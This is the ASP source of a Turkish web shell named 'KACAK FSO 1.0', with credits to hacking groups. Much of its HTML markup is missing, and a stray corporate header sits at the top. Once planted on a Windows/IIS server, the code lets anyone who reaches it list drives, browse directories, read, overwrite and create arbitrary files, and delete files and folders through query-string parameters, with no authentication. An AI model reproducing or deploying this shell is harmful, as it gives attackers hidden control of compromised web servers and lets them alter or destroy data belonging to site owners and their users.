KURUMSAL \ KULLANIM SÖZLEŞMESİ







KACAK Shell






<%
if request.querystring("TGH") = "1" then
on error resume next
es=request.querystring("Kacak")
diez=server.urlencode(left(es,(instrRev(es,"\"))-1))

Select case es
case "C:" diez="C:"
case "D:" diez="D:"
end select




%>





onLoad="location.href='?klas=<%=diez%>&usak=1'">

<%
else
%>



<%
if request.querystring("Dosyakaydet") "" then
set kaydospos=createobject("scripting.filesystemobject")
set    kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi"))
set kaydoses=nothing
set kaydospos=nothing
set kaydospos=createobject("scripting.filesystemobject")
set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true)
kaydoses.write request("duzenx")
set kaydoses=nothing
set kaydospos=nothing
end if
%>





<%
if request.querystring("yenidosya") "" then
%>


 
   
   
   
 
 
   
 


   


   


   
   
   

    Kacak ©

    Hackerbox

   
   

    KACAK FSO 1.0
   


   

   
   
    Cyber Protest 

   
   
    xLw@GrayHatz ~ TurkGuvenligi.Info 


   
     
       
       
     
   

         Çalisilan Klasör
       
         
           
           
           
         
       

 <%=response.write(request.querystring("yenidosya"))%>
             

       

   





 
   
 
 
   
 
 
   
 
 

   
&klas=<%=request.querystring("yenidosya")%>" name="kaypos">




Dosya Adi :

               
                     color="#FFFFFF" size="1" face="Arial">
                type="text" size="97" maxlength="32"
                name="dosadi" value="Dosya Adi"
                class="search"
                onblur="if (this.value == '') this.value = 'Kullanici'"
                onfocus="if (this.value == 'Kullanici') this.value=''"
                style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center">



               
    
Içerik : 

               
    
         




    
                 name="duzenx1" value="Olustur"
        style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
        

 
   
 


   


     




   


     





<%
else
%>







<%
if request.querystring("klasorac") "" then

set doses=createobject("scripting.filesystemobject")
set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx"))
set es=nothing
set doses=nothing


end if
%>

<%
if request.querystring("klasac") "" then

set aktifklas=request.querystring("aktifklas")


%>
   


 
   
   
   
 

   


   


   
   
   

   
Kacak ©

    Hackerbox

   
   

    KACAK FSO 1.0
   


   

   
   
   
 




   
     
       
       
     
   

         Çalisilan Alan
       
         
           
           
           
         
       

 <%=aktifklas%>
             

       

   
 





 
   
 
 
   
 
 
   
 
 








<%
else
%><%
if request.querystring("suruculer") "" then
%>
 

   

                color="#FFFFFF" size="1" face="Arial">
                type="text" size="37" maxlength="32"
                name="duzenx" value="Klasör Adi"
                class="search"
                onblur="if (this.value == '') this.value = 'Kullanici'"
                onfocus="if (this.value == 'Kullanici') this.value=''"
                style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center">  






               
    
                 name="duzenx1" value="Olustur"
        style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
        

 

 

 
   
   
   
 
   
 

   


   


   
   
   

    Kacak ©

    Hackerbox

   
   

    KACAK FSO 1.0
   


   

   
   
    www.deepshells.com 

   
   


   
     
       
     
   

         

   




 
   
 
 
   
 
 
   
 
 
 

     

     
       
         
         
         
         
         
       
     

          Sürücü Adi
          Boyutu
          Bos Alan
          Durum
          Islem

     

   

   

     



    <%
    set klassis =server.createobject("scripting.filesystemobject")
    set klasdri=klassis.drives
    %>
    
    <%
    for each dongu in klasdri
    %>
            
    <%
    if dongu.driveletter "A" then
    if dongu.isready=true then
    %>

    <%
    select case dongu.drivetype
    case 0 teype="Diger"
    case 1 teype="Tasinir"
    case 2 teype="HDD"
    case 3 teype="NetWork"
    case 4 teype="CD-Rom"
    case 5 teype="FlashMem"
    end select
    %>
     
       
         
         
         
         
         
       
     

           <%=dongu.driveletter%>:\ ( <%=dongu.filesystem%> )
          <%=Round(dongu.totalsize/(1024*1024),1)%> MB
          <%=Round(dongu.availablespace/(1024*1024),1)%> MB
          <%=teype%> 
         
           
         
           
         
          onmouseover="this.style.background='#A0A0A0'"
          onmouseout="this.style.background='#E0E0E0'"
          style="CURSOR: hand"
          
          >
         
          Gir

         


    <%
    end if
    end if
    %>
<%
next
%>



     

   

   

     

     
       
         
       
     

           

     

   

   

 


   
 






<%
else
%>





<%
if request.querystring("kaydet") "" then
set dossisx=server.createobject("scripting.filesystemobject")
set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true)
dosx.write request("duzenx")
dosx.close
set dosyax=nothing
set dossisx=nothing

end if
%>




<%
if request.querystring("duzenle") "" then
set dossis=server.createobject("scripting.filesystemobject")
set dos=dossis.opentextfile(request.querystring("duzenle"), 1)
sedx = dos.readall
dos.close
set dosya=nothing
set dossis=nothing

set aktifklas=request.querystring("klas")
%>





 
   
   
   
 
   
 

   


   


   
   
   

    Kacak©

    DeepShells

   
   

    KACAK FSO 1.0
   


   

   
   
    www.deepshells.com 

   
    


   
     
       
       
     
   

         Çalisilan Dosya
       
         
           
           
           
         
       

 <%=response.write(request.querystring("duzenle"))%>
             

       

   





 
   
 
 
   
 
 
   
 
 

   
   


         

 



 
   
 

   


    
                 name="duzenx1" value="Kaydet"
        style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
                 name="x" value="Vazgeç"
        style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
        




   


     





<%
else
%>


<%

if request.querystring("klas") "" then
aktifklas=Request.querystring("klas")
if request.querystring("usak") = "1" then
aktifklas=aktifklas & "\"
end if

else
aktifklas=server.mappath("/")
aktifklas=aktifklas & "\"
end if

if request.querystring("silklas") "" then
set sis=createobject("scripting.filesystemobject")
silincekklas=request.querystring("silklas")
sis.deletefolder(silincekklas)
set sis=nothing
'response.write(sil & "  Silindi")
end if

if request.querystring("sildos") "" then
silincekdos=request.querystring("sildos")
set dosx=createobject("scripting.filesystemobject")
set dos=dosx.getfile(silincekdos)
dos.delete
set dos=nothing
set dosyasis=nothing
end if




select case aktifklas
case "C:" aktifklas="C:\"
case "D:" aktifklas="D:\"
case "E:" aktifklas="E:\"
case "F:" aktifklas="F:\"
case "G:" aktifklas="G:\"
case "H:" aktifklas="H:\"
case "I:" aktifklas="I:\"
case "J:" aktifklas="J:\"
case "K:" aktifklas="K:\"
end select



if aktifklas=("C:") then aktifklas=("C:\")

Set FS = CreateObject("Scripting.FileSystemObject")
Set klasor = FS.GetFolder(aktifklas)
Set altklasorler = klasor.SubFolders
Set dosyalar = klasor.files
%>

 
   
   
   
 
   
 

   


   


   
   
   

    Kacak ©


    Hackerbox

   
   

    KACAK FSO 1.0
   


   

   
   
    www.deepshells.com 

   
   


   
     
       
       
     
   

         Çalisilan Klasör
       
         
           
           
           
         
       

 <%=response.write(aktifklas)%>
           
             
               
                
             
           

               



                " style="text-decoration: none">
                Üst Klasör


           

       

   




 
   
 
 
   
 
 
 

   
     
       
       
       
     
   

       
         
       
         
       
        onmouseover="style.background='#6F6F6F'"
        onmouseout="style.background='#5F5F5F'"
        style="CURSOR: hand"
        
        height="19" bordercolor="#000000">
       
       
       
        Sürücüler

       
       
         
       
         
       
        onmouseover="style.background='#6F6F6F'"
        onmouseout="style.background='#5F5F5F'"
        style="CURSOR: hand"
        bordercolor="#000000">
       
       
        Yeni Klasör

       
       
         
       
         
       
        onmouseover="style.background='#6F6F6F'"
        onmouseout="style.background='#5F5F5F'"
        style="CURSOR: hand"
        bordercolor="#000000">
       
        Yeni Dosya

       

   



            

 
   
   
   
 

     Tür
     Dosya
    Adi
   


     Islem





<% For each oge in altklasorler %>



 
   
   
   
   
 

   


   


     <%=oge.name%> 
   
     
       
     
   
        onmouseover="this.style.background='#BBBBBB'"
        onmouseout="this.style.background='#A3A3A3'"
        style="CURSOR: hand"
        height="20">

       


       
        Aç


   
   
     
       
     
   
        onmouseover="this.style.background='#BBBBBB'"
        onmouseout="this.style.background='#A3A3A3'"


        style="CURSOR: hand"
        height="20">

       


       
        Sil

       


   


<% Next %>
                

<% For each oge in dosyalar %>


 
   
   
   
   
 

   


   


     <%=oge.name%>
              ( <%=Round(oge.size/1024,1)%> KB ) 
   
     
       
     
   
        onmouseover="this.style.background='#ACACAC'"
        onmouseout="this.style.background='#D6D6D6'"
        style="CURSOR: hand"
        height="20">

       


       
        Düzenle


   
   
     
       
     
   
        onmouseover="this.style.background='#ACACAC'"
        onmouseout="this.style.background='#D6D6D6'"
        style="CURSOR: hand"
        height="20">

       


       
        Sil


   


<% Next %>



<%
if aktifklas=("C:\") then aktifklas=("C:")
%>


<%
end if
%>



<%
end if
%>


<%
end if
%>


<%
end if
%>

<%
end if
%>